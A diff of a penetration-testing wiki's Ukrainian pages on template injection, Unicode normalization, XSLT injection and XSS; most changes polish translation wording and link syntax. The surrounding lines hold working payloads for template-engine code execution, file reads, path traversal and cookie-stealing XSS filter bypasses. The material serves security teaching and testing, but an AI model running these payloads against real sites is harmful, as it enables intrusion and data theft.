@ -2,12 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
## Що таке SSTI (Server-Side Template Injection)
Server-side template injection - це вразливість, яка виникає, коли зловмисник може впровадити шкідливий код у шаблон, що виконується на сервері. Цю вразливість можна знайти в різних технологіях, включаючи Jinja.
Вплив шаблона на стороні сервера - це вразливість, яка виникає, коли зловмисник може впровадити шкідливий код у шаблон, що виконується на сервері. Цю вразливість можна знайти в різних технологіях, включаючи Jinja.
Jinja - це популярний шаблонний движок, що використовується у веб-додатках. Розглянемо приклад, який демонструє вразливий фрагмент коду, що використовує Jinja:
Jinja - це популярний движок шаблонів, що використовується у веб-додатках. Розглянемо приклад, який демонструє вразливий фрагмент коду, що використовує Jinja:
```python
output = template.render(name=request.args.get('name'))
```
@ -17,13 +16,13 @@ output = template.render(name=request.args.get('name'))
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
Пейлоад `{{bad-stuff-here}}` впроваджується в параметр `name`. Цей пейлоад може містити директиви шаблону Jinja, які дозволяють зловмиснику виконувати несанкціонований код або маніпулювати движком шаблонів, потенційно отримуючи контроль над сервером.
Пейлоад `{{bad-stuff-here}}` інжектується в параметр `name`. Цей пейлоад може містити директиви шаблону Jinja, які дозволяють зловмиснику виконувати несанкціонований код або маніпулювати движком шаблонів, потенційно отримуючи контроль над сервером.
Щоб запобігти вразливостям інкції шаблонів на стороні сервера, розробники повинні забезпечити належну санітарію та валідацію введених користувачем даних перед їх вставкою в шаблони. Реалізація валідації введення та використання технік ескейпінгу, що враховують контекст, можуть допомогти зменшити ризик цієї вразливості.
Щоб запобігти вразливостям інжекції шаблонів на стороні сервера, розробники повинні забезпечити належну санітарну обробку та валідацію введених користувачем даних перед їх вставкою в шаблони. Реалізація валідації введення та використання технік ескейпінгу, що враховують контекст, можуть допомогти зменшити ризик цієї вразливості.
### Виявлення
Для виявлення інкції шаблонів на стороні сервера (SSTI) спочатку **фуззинг шаблону** є простим підходом. Це передбачає впровадження послідовності спеціальних символів (**`${{<%[%'"}}%\`**) у шаблон і аналізування відмінностей у відповіді сервера на звичайні дані в порівнянні з цим спеціальним пейлоадом. Ознаки вразливості включають:
Для виявлення інжекції шаблонів на стороні сервера (SSTI) спочатку **фуззинг шаблону** є простим підходом. Це передбачає інжекцію послідовності спеціальних символів (**`${{<%[%'"}}%\`**) у шаблон і аналіз відмінностей у відповіді сервера на звичайні дані в порівнянні з цим спеціальним пейлоадом. Ознаки вразливості включають:
- Викинуті помилки, які виявляють вразливість і потенційно движок шаблонів.
- Відсутність пейлоаду у відображенні або частини його відсутні, що вказує на те, що сервер обробляє його інакше, ніж звичайні дані.
@ -101,7 +100,7 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
- `{{7*7}} = {{7*7}}`
- `${7*7} = 49`
- `#{7*7} = 49 -- (старий)`
- `#{7*7} = 49 -- (спадковий)`
- `${7*'7'} Нічого`
- `${foobar}`
```java
@ -111,7 +110,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```
**Freemarker - обхід пісочниці**
**Freemarker - Обхід пісочниці**
⚠️ працює лише на версіях Freemarker нижче 2.3.30
```java
@ -320,7 +319,7 @@ Jinjava - це проект з відкритим кодом, розроблен
- `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
- `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Шукайте "com.hubspot.content.hubl.context.TemplateContextRequest" і знайдіть [проект Jinjava на Github](https://github.com/HubSpot/jinjava/).
Шукайте "com.hubspot.content.hubl.context.TemplateContextRequest" і знайдено [Jinjava project on Github](https://github.com/HubSpot/jinjava/).
```java
{{request.isDebug()}}
//output: False
@ -373,11 +372,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
- `${{7*7}}` - 49
- `${{request}}, ${{session}}, {{faceContext}}`
Мова виразів (EL) є основною функцією, яка полегшує взаємодію між презентаційним шаром (наприклад, веб-сторінками) та логікою програми (наприклад, керованими біном) в JavaEE. Вона широко використовується в різних технологіях JavaEE для спрощення цієї комунікації. Основні технології JavaEE, що використовують EL, включають:
Мова виразів (EL) є основною функцією, яка полегшує взаємодію між презентаційним шаром (як веб-сторінки) та логікою програми (як керовані боби) в JavaEE. Вона широко використовується в різних технологіях JavaEE для спрощення цієї комунікації. Основні технології JavaEE, що використовують EL, включають:
- **JavaServer Faces (JSF)**: Використовує EL для прив'язки компонентів на сторінках JSF до відповідних даних та дій на сервері.
- **JavaServer Pages (JSP)**: EL використовується в JSP для доступу та маніпуляції даними на сторінках JSP, що полегшує з'єднання елементів сторінки з даними програми.
- **Контексти та впровадження залежностей для Java EE (CDI)**: EL інтегрується з CDI для забезпечення безперебійної взаємодії між веб-шаром та керованими біном, що забезпечує більш узгоджену структуру програми.
- **Контексти та впровадження залежностей для Java EE (CDI)**: EL інтегрується з CDI для забезпечення безперебійної взаємодії між веб-шаром та керованими бобами, що забезпечує більш узгоджену структуру програми.
Перегляньте наступну сторінку, щоб дізнатися більше про **експлуатацію EL інтерпретаторів**:
@ -418,8 +417,6 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
- Більше інформації в [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
##
### Smarty (PHP)
@ -632,7 +629,7 @@ Hello {NAME}.<br/>
### Handlebars (NodeJS)
Перехід по шляху (більше інформації [тут](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
Path Traversal (більше інформації [тут](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```
@ -669,11 +666,11 @@ URLencoded:
### JsRender (NodeJS)
| **Шаблон** | **Опис** |
|------------|----------------------------------------|
| | Оцінити та відобразити вихід |
| **Шаблон** | **Опис** |
| ---------- | ---------------------------------------- |
| | Оцінити та відобразити вихід |
| | Оцінити та відобразити HTML-кодований вихід |
| | Коментар |
| | Коментар |
| і | Дозволити код (за замовчуванням вимкнено) |
- \= 49
@ -817,7 +814,7 @@ range.constructor(
[Офіційний сайт](http://jinja.pocoo.org)
> Jinja2 - це повнофункціональний шаблонний движок для Python. Він має повну підтримку юнікоду, необов'язкове інтегроване середовище виконання в пісочниці, широко використовується та ліцензований за BSD.
> Jinja2 - це повнофункціональний шаблонний движок для Python. Він має повну підтримку юнікоду, необов'язкове інтегроване середовище виконання в пісочниці, широко використовується і ліцензований за BSD.
- `{{7*7}} = Error`
- `${7*7} = ${7*7}`
@ -953,7 +950,9 @@ ${x}
**Експлуатація XSS**
З пакетом `text/template` XSS може бути простим шляхом безпосереднього вставлення payload. На відміну від цього, пакет `html/template` кодує відповідь, щоб запобігти цьому (наприклад, `{{"<script>alert(1)</script>"}}` призводить до `&lt;script&gt;alert(1)&lt;/script&gt;`). Проте визначення та виклик шаблону в Go можуть обійти це кодування: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
З пакетом `text/template` XSS може бути простим шляхом вставлення payload безпосередньо. На відміну від цього, пакет `html/template` кодує відповідь, щоб запобігти цьому (наприклад, `{{"<script>alert(1)</script>"}}` призводить до `&lt;script&gt;alert(1)&lt;/script&gt;`). Проте визначення та виклик шаблону в Go можуть обійти це кодування: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet Copy code
**Експлуатація RCE**
@ -973,7 +972,7 @@ return string(out)
### Більше експлойтів
Перегляньте решту [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) для більше експлойтів. Також ви можете знайти цікаву інформацію про теги в [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
Перегляньте решту [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) для отримання більше експлойтів. Також ви можете знайти цікаву інформацію про теги в [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
## BlackHat PDF
@ -995,7 +994,9 @@ return string(out)
## Список виявлення брутфорсу
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
{{#endref}}
## Практика та посилання

View File

@ -75,7 +75,9 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
```
#### sqlmap шаблон
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
{{#ref}}
https://github.com/carlospolop/sqlmap_to_unicode_template
{{#endref}}
### XSS (Міжсайтовий скриптинг)
@ -87,11 +89,11 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>)
### Fuzzing Regexes
### Фаззинг регулярних виразів
Коли бекенд **перевіряє введення користувача за допомогою regex**, можливо, що **введення** **нормалізується** для **regex**, але **не** для того, де воно **використовується**. Наприклад, в Open Redirect або SSRF regex може **нормалізувати надісланий URL**, але потім **доступатися до нього як є**.
Коли бекенд **перевіряє введення користувача за допомогою регулярного виразу**, можливо, що **введення** **нормалізується** для **регулярного виразу**, але **не** для того, де воно **використовується**. Наприклад, в Open Redirect або SSRF регулярний вираз може **нормалізувати надісланий URL**, але потім **доступатися до нього як є**.
Інструмент [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* дозволяє **генерувати варіації введення** для фуззингу бекенду. Для отримання додаткової інформації перевірте **github** і цей [**пост**](https://0xacb.com/2022/11/21/recollapse/).
Інструмент [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* дозволяє **генерувати варіації введення** для фаззингу бекенду. Для отримання додаткової інформації перегляньте **github** та цей [**пост**](https://0xacb.com/2022/11/21/recollapse/).
## Посилання

View File

@ -146,7 +146,7 @@ lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
```
### Версії
Можливо, є більше або менше функцій в залежності від версії XSLT:
Може бути більше або менше функцій в залежності від версії XSLT:
- [https://www.w3.org/TR/xslt-10/](https://www.w3.org/TR/xslt-10/)
- [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
@ -214,7 +214,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>
```
### **Підтвердити (var_dump + scandir + false)**
### **Assert (var_dump + scandir + false)**
```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
@ -372,9 +372,11 @@ version="1.0">
- Check [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
- Check [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
## **Список Виявлення Брутфорсу**
## **Список виявлення брутфорсу**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt
{{#endref}}
## **Посилання**

View File

@ -11,7 +11,7 @@
2. Чи можете ви використовувати події або атрибути, що підтримують протокол `javascript:`?
3. Чи можете ви обійти захист?
4. Чи інтерпретується HTML контент будь-яким клієнтським JS двигуном (_AngularJS_, _VueJS_, _Mavo_...), ви могли б зловживати [**Client Side Template Injection**](../client-side-template-injection-csti.md).
5. Якщо ви не можете створити HTML теги, які виконують JS код, чи могли б ви зловживати [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)?
5. Якщо ви не можете створити HTML теги, які виконують JS код, чи можете ви зловживати [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)?
2. Всередині **HTML тегу**:
1. Чи можете ви вийти в сирий HTML контекст?
2. Чи можете ви створити нові події/атрибути для виконання JS коду?
@ -25,7 +25,7 @@
4. Javascript **функція**, що **виконується**
1. Ви можете вказати ім'я функції для виконання. наприклад: `?callback=alert(1)`
4. Якщо **використовується**:
1. Ви могли б зловживати **DOM XSS**, зверніть увагу, як ваше введення контролюється і чи використовується ваше **контрольоване введення будь-яким sink.**
1. Ви могли б зловживати **DOM XSS**, зверніть увагу, як контролюється ваше введення і чи **використовується ваше контрольоване введення будь-яким sink.**
Коли ви працюєте над складним XSS, вам може бути цікаво дізнатися про:
@ -37,9 +37,9 @@ debugging-client-side-js.md
Щоб успішно експлуатувати XSS, перше, що вам потрібно знайти, це **значення, контрольоване вами, яке відображається** на веб-сторінці.
- **Проміжно відображене**: Якщо ви виявите, що значення параметра або навіть шлях відображається на веб-сторінці, ви могли б зловживати **Reflected XSS**.
- **Збережене та відображене**: Якщо ви виявите, що значення, контрольоване вами, зберігається на сервері і відображається щоразу, коли ви отримуєте доступ до сторінки, ви могли б зловживати **Stored XSS**.
- **Доступне через JS**: Якщо ви виявите, що значення, контрольоване вами, доступне за допомогою JS, ви могли б зловживати **DOM XSS**.
- **Проміжно відображене**: Якщо ви виявите, що значення параметра або навіть шлях відображається на веб-сторінці, ви могли б експлуатувати **Reflected XSS**.
- **Збережене та відображене**: Якщо ви виявите, що значення, контрольоване вами, зберігається на сервері і відображається щоразу, коли ви отримуєте доступ до сторінки, ви могли б експлуатувати **Stored XSS**.
- **Доступне через JS**: Якщо ви виявите, що значення, контрольоване вами, доступне за допомогою JS, ви могли б експлуатувати **DOM XSS**.
## Контексти
@ -50,14 +50,14 @@ debugging-client-side-js.md
Якщо ваше введення **відображається на сирій HTML** сторінці, вам потрібно буде зловживати деяким **HTML тегом**, щоб виконати JS код: `<img , <iframe , <svg , <script` ... це лише деякі з багатьох можливих HTML тегів, які ви могли б використовувати.\
Також пам'ятайте про [Client Side Template Injection](../client-side-template-injection-csti.md).
### Всередині атрибута HTML тегу
### Всередині атрибута HTML тегів
Якщо ваше введення відображається всередині значення атрибута тегу, ви могли б спробувати:
1. **Втекти з атрибута і з тегу** (тоді ви будете в сирому HTML) і створити новий HTML тег для зловживання: `"><img [...]`
2. Якщо ви **можете втекти з атрибута, але не з тегу** (`>` закодовано або видалено), в залежності від тегу ви могли б **створити подію**, яка виконує JS код: `" autofocus onfocus=alert(1) x="`
3. Якщо ви **не можете втекти з атрибута** (`"` закодовано або видалено), тоді в залежності від **якого атрибута** ваше значення відображається, **якщо ви контролюєте все значення або лише частину**, ви зможете зловживати цим. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код, коли на неї натиснуть. Інший цікавий **приклад** - атрибут `href`, де ви можете використовувати протокол `javascript:`, щоб виконати довільний код: **`href="javascript:alert(1)"`**
4. Якщо ваше введення відображається всередині "**неексплуатованих тегів**", ви могли б спробувати трюк з **`accesskey`**, щоб зловживати вразливістю (вам знадобиться якийсь вид соціальної інженерії для експлуатації цього): **`" accesskey="x" onclick="alert(1)" x="**
4. Якщо ваше введення відображається всередині "**неексплуатованих тегів**", ви могли б спробувати трюк з **`accesskey`**, щоб зловживати вразливістю (вам знадобиться якийсь вид соціальної інженерії для експлуатації цього): **`" accesskey="x" onclick="alert(1)" x="`**
Дивний приклад Angular, що виконує XSS, якщо ви контролюєте ім'я класу:
```html
@ -69,7 +69,7 @@ debugging-client-side-js.md
У цьому випадку ваш ввід відображається між **`<script> [...] </script>`** тегами HTML-сторінки, всередині `.js` файлу або всередині атрибута, використовуючи **`javascript:`** протокол:
- Якщо відображається між **`<script> [...] </script>`** тегами, навіть якщо ваш ввід знаходиться всередині будь-яких лапок, ви можете спробувати ввести `</script>` і вийти з цього контексту. Це працює, тому що **браузер спочатку розбирає HTML-теги** і лише потім вміст, отже, він не помітить, що ваш введений `</script>` тег знаходиться всередині HTML-коду.
- Якщо відображається між **`<script> [...] </script>`** тегами, навіть якщо ваш ввід знаходиться всередині будь-яких лапок, ви можете спробувати ввести `</script>` і вийти з цього контексту. Це працює, тому що **браузер спочатку розбирає HTML-теги** і лише потім вміст, тому він не помітить, що ваш введений тег `</script>` знаходиться всередині HTML-коду.
- Якщо відображається **всередині JS рядка** і останній трюк не працює, вам потрібно буде **вийти** з рядка, **виконати** ваш код і **відновити** JS код (якщо є помилка, він не буде виконаний):
- `'-alert(1)-'`
- `';-alert(1)//`
@ -92,9 +92,9 @@ js-hoisting.md
### Javascript Function
Кілька веб-сторінок мають кінцеві точки, які **приймають як параметр ім'я функції для виконання**. Загальний приклад, який можна побачити в дії, це щось на зразок: `?callback=callbackFunc`.
Кілька веб-сторінок мають кінцеві точки, які **приймають як параметр ім'я функції для виконання**. Загальний приклад, який можна побачити в дії, це щось на кшталт: `?callback=callbackFunc`.
Добрий спосіб дізнатися, чи щось, що надається безпосередньо користувачем, намагається виконатися, це **змінити значення параметра** (наприклад, на 'Vulnerable') і шукати в консолі помилки, такі як:
Добрий спосіб дізнатися, чи намагається виконати щось, що надано безпосередньо користувачем, це **модифікувати значення параметра** (наприклад, на 'Vulnerable') і шукати в консолі помилки, такі як:
![](<../../images/image (711).png>)
@ -124,7 +124,7 @@ some-same-origin-method-execution.md
### DOM
Є **JS код**, який **недобросовісно** використовує деякі **дані, контрольовані зловмисником**, такі як `location.href`. Зловмисник може зловживати цим, щоб виконати довільний JS код.
Є **JS код**, який **недобросовісно** використовує деякі **дані, контрольовані зловмисником**, такі як `location.href`. Зловмисник може зловживати цим для виконання довільного JS коду.
{{#ref}}
dom-xss.md
@ -149,9 +149,9 @@ server-side-xss-dynamic-pdf.md
## Впровадження всередині сирого HTML
Коли ваш ввід відображається **всередині HTML-сторінки** або ви можете втекти і впровадити HTML код в цьому контексті, **перше**, що вам потрібно зробити, це перевірити, чи можете ви зловживати `<`, щоб створити нові теги: просто спробуйте **відобразити** цей **символ** і перевірте, чи він **HTML кодується** або **видаляється**, або якщо він **відображається без змін**. **Тільки в останньому випадку ви зможете експлуатувати цей випадок**.\
Коли ваш ввід відображається **всередині HTML-сторінки** або ви можете втекти і впровадити HTML-код у цьому контексті, **перше**, що вам потрібно зробити, це перевірити, чи можете ви зловживати `<`, щоб створити нові теги: просто спробуйте **відобразити** цей **символ** і перевірте, чи він **HTML-кодований** або **видалений**, або чи він **відображається без змін**. **Тільки в останньому випадку ви зможете експлуатувати цей випадок**.\
Для цих випадків також **пам'ятайте** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
&#xNAN;_**Примітка: HTML коментар може бути закритий за допомогою\*\*\*\*\*\***&#x20;\***\*`-->`\*\***&#x20;\***\*або \*\*\*\*\*\***`--!>`\*\*_
&#xNAN;_**Примітка: HTML-коментар може бути закритий за допомогою\*\*\*\*\*\***&#x20;\***\*`-->`\*\***&#x20;\***\*або \*\*\*\*\*\***`--!>`\*\**_
У цьому випадку, якщо не використовується чорний/білий список, ви можете використовувати payloads, такі як:
```html
@ -164,9 +164,9 @@ alert(1)
Але, якщо використовується чорний/білий список тегів/атрибутів, вам потрібно буде **зламати, які теги** ви можете створити.\
Коли ви **знайдете, які теги дозволені**, вам потрібно буде **зламати атрибути/події** всередині знайдених дійсних тегів, щоб побачити, як ви можете атакувати контекст.
### Брутфорс тегів/подій
### Зламування тегів/подій
Перейдіть на [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) і натисніть на _**Скопіювати теги в буфер обміну**_. Потім надішліть їх усі за допомогою Burp intruder і перевірте, чи не було виявлено жодного тегу як шкідливого WAF. Коли ви дізнаєтеся, які теги ви можете використовувати, ви можете **зламати всі події**, використовуючи дійсні теги (на тій же веб-сторінці натисніть на _**Скопіювати події в буфер обміну**_ і дотримуйтесь тієї ж процедури, що й раніше).
Перейдіть на [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) і натисніть на _**Скопіювати теги в буфер обміну**_. Потім надішліть їх усі за допомогою Burp intruder і перевірте, чи не було виявлено жодного тегу як шкідливого WAF. Коли ви виявите, які теги ви можете використовувати, ви можете **зламати всі події**, використовуючи дійсні теги (на тій же веб-сторінці натисніть на _**Скопіювати події в буфер обміну**_ і дотримуйтесь тієї ж процедури, що й раніше).
### Користувацькі теги
@ -174,7 +174,7 @@ alert(1)
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
### Обходи чорного списку
### Обхід чорних списків
Якщо використовується якийсь чорний список, ви можете спробувати обійти його за допомогою кількох простих трюків:
```javascript
@ -235,7 +235,7 @@ onerror=alert`1`
```
Останній використовує 2 символи юнікоду, які розширюються до 5: telsr\
Більше таких символів можна знайти [тут](https://www.unicode.org/charts/normalization/).\
Щоб перевірити, в які символи вони розкладаються, перевірте [тут](https://www.compart.com/en/unicode/U+2121).
Щоб перевірити, в які символи розкладаються, перевірте [тут](https://www.compart.com/en/unicode/U+2121).
### Click XSS - Clickjacking
@ -250,7 +250,7 @@ onerror=alert`1`
### Всередині тегу/вихід з значення атрибута
Якщо ви **всередині HTML-тегу**, перше, що ви можете спробувати, це **вийти** з тегу та використати деякі з технік, згаданих у [попередньому розділі](./#injecting-inside-raw-html), щоб виконати JS-код.\
Якщо ви **не можете вийти з тегу**, ви можете створити нові атрибути всередині тегу, щоб спробувати виконати JS-код, наприклад, використовуючи деякі пейлоади, як (_зауважте, що в цьому прикладі подвійні лапки використовуються для виходу з атрибута, вам не знадобляться вони, якщо ваш ввід відображається безпосередньо всередині тегу_):
Якщо ви **не можете вийти з тегу**, ви можете створити нові атрибути всередині тегу, щоб спробувати виконати JS-код, наприклад, використовуючи деякі payload, як (_зауважте, що в цьому прикладі подвійні лапки використовуються для виходу з атрибута, вам не знадобляться вони, якщо ваш ввід відображається безпосередньо всередині тегу_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -403,7 +403,7 @@ Android: %09 %20 %28 %2C %3B
```
### XSS в "Неексплуатованих тегах" (прихований ввід, посилання, канонічний, мета)
З [**цього посилання**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **тепер можливо зловживати прихованими ввідними даними з:**
З [**цієї сторінки**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **тепер можливо зловживати прихованими ввідними даними з:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
@ -426,29 +426,29 @@ onbeforetoggle="alert(2)" />
```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**XSS-пейлоад буде щось на зразок цього: `" accesskey="x" onclick="alert(1)" x="`**
**Payload XSS буде виглядати приблизно так:** `" accesskey="x" onclick="alert(1)" x="`
### Обхід чорного списку
Вже було розкрито кілька трюків з використанням різного кодування в цій секції. Поверніться, щоб дізнатися, де ви можете використовувати:
- **HTML-кодування (HTML-теги)**
- **Unicode-кодування (може бути дійсним JS-кодом):** `\u0061lert(1)`
- **URL-кодування**
- **HTML кодування (HTML теги)**
- **Unicode кодування (може бути дійсним JS кодом):** `\u0061lert(1)`
- **URL кодування**
- **Шістнадцяткове та вісімкове кодування**
- **кодування даних**
**Обходи для HTML-тегів та атрибутів**
**Обходи для HTML тегів та атрибутів**
Читайте [Обходи чорного списку попередньої секції](./#blacklist-bypasses).
**Обходи для JavaScript-коду**
**Обходи для JavaScript коду**
Читайте [чорний список обходів JavaScript наступної секції](./#javascript-bypass-blacklists-techniques).
### CSS-Гаджети
Якщо ви знайшли **XSS у дуже маленькій частині** вебу, яка вимагає певної взаємодії (можливо, маленьке посилання в нижньому колонтитулі з елементом onmouseover), ви можете спробувати **змінити простір, який займає цей елемент**, щоб максимізувати ймовірність активації посилання.
Якщо ви знайшли **XSS в дуже маленькій частині** вебу, яка вимагає певної взаємодії (можливо, маленьке посилання в нижньому колонтитулі з елементом onmouseover), ви можете спробувати **змінити простір, який займає цей елемент**, щоб максимізувати ймовірність активації посилання.
Наприклад, ви могли б додати деяке стилювання в елемент, наприклад: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
@ -466,13 +466,13 @@ onbeforetoggle="alert(2)" />
Цей трюк був взятий з [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
## Впровадження всередині JavaScript-коду
## Впровадження всередині JavaScript коду
У цих випадках ваш **вхід** буде **відображено всередині JS-коду** файлу `.js` або між тегами `<script>...</script>` або між HTML-подіями, які можуть виконувати JS-код, або між атрибутами, які приймають протокол `javascript:`.
У цих випадках ваш **вхід** буде **відображено всередині JS коду** файлу `.js` або між тегами `<script>...</script>` або між HTML подіями, які можуть виконувати JS код, або між атрибутами, які приймають протокол `javascript:`.
### Вихід з \<script> тегу
Якщо ваш код вставлений у `<script> [...] var input = 'reflected data' [...] </script>`, ви могли б легко **вийти, закривши `<script>`** тег:
Якщо ваш код вставлений в `<script> [...] var input = 'reflected data' [...] </script>`, ви можете легко **вийти, закривши тег `<script>`**:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
@ -480,7 +480,7 @@ onbeforetoggle="alert(2)" />
### Всередині коду JS
Якщо `<>` очищуються, ви все ще можете **втекти рядок**, де ваше введення **знаходиться** і **виконати довільний JS**. Важливо **виправити синтаксис JS**, тому що якщо є якісь помилки, код JS не буде виконано:
Якщо `<>` очищуються, ви все ще можете **втекти рядок**, де ваше введення **знаходиться** і **виконати довільний JS**. Важливо **виправити синтаксис JS**, оскільки якщо є будь-які помилки, код JS не буде виконано:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -516,7 +516,7 @@ alert(1)
alert(1)
alert(1)
```
### Техніки обхід чорних списків JavaScript
### Техніки обходу чорних списків JavaScript
**Рядки**
```javascript
@ -736,17 +736,17 @@ top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
````
## **Вразливості DOM**
## **DOM вразливості**
Є **JS код**, який використовує **неконтрольовані дані, що контролюються атакуючим**, такі як `location.href`. Атакуючий може зловживати цим, щоб виконати довільний JS код.\
**Через розширення пояснення** [**вразливостей DOM, воно було переміщено на цю сторінку**](dom-xss.md)**:**
**Через розширення пояснення** [**DOM вразливостей, воно було переміщено на цю сторінку**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
{{#endref}}
Там ви знайдете детальне **пояснення того, що таке вразливості DOM, як вони провокуються і як їх експлуатувати**.\
Також не забувайте, що **в кінці згаданого посту** ви можете знайти пояснення про [**атаки DOM Clobbering**](dom-xss.md#dom-clobbering).
Там ви знайдете детальне **пояснення того, що таке DOM вразливості, як вони провокуються і як їх експлуатувати**.\
Також не забувайте, що **в кінці згаданого посту** ви можете знайти пояснення про [**DOM Clobbering атаки**](dom-xss.md#dom-clobbering).
### Підвищення Self-XSS
@ -766,9 +766,9 @@ dom-xss.md
### Віддзеркалення сесії
Якщо ви знайдете деяке self XSS, а веб-сторінка має **віддзеркалення сесії для адміністраторів**, наприклад, дозволяючи клієнтам просити допомогу, щоб адміністратор міг вам допомогти, він буде бачити те, що ви бачите у своїй сесії, але з його сесії.
Якщо ви знайдете деякі self XSS, і веб-сторінка має **віддзеркалення сесії для адміністраторів**, наприклад, дозволяючи клієнтам просити допомогу, щоб адміністратор міг вам допомогти, він буде бачити те, що ви бачите у своїй сесії, але з його сесії.
Ви могли б змусити **адміністратора активувати ваше self XSS** і вкрасти його cookies/сесію.
Ви могли б змусити **адміністратора активувати ваш self XSS** і вкрасти його cookies/сесію.
## Інші обходи
@ -776,7 +776,7 @@ dom-xss.md
Ви могли б перевірити, чи **відображені значення** нормалізуються в **unicode** на сервері (або на стороні клієнта) і зловживати цією функціональністю, щоб обійти захист. [**Знайдіть приклад тут**](../unicode-injection/#xss-cross-site-scripting).
### Обхід прапора PHP FILTER_VALIDATE_EMAIL
### PHP FILTER_VALIDATE_EMAIL flag Bypass
```javascript
"><svg/onload=confirm(1)>"@x.y
```
@ -825,9 +825,9 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS з ін'єкцією заголовків у відповіді 302
Якщо ви виявите, що можете **ін'єктувати заголовки в відповіді 302 Redirect**, ви можете спробувати **змусити браузер виконати довільний JavaScript**. Це **не тривіально**, оскільки сучасні браузери не інтерпретують тіло HTTP-відповіді, якщо код статусу HTTP-відповіді - 302, тому просто корисне навантаження для міжсайтового скриптингу є безглуздим.
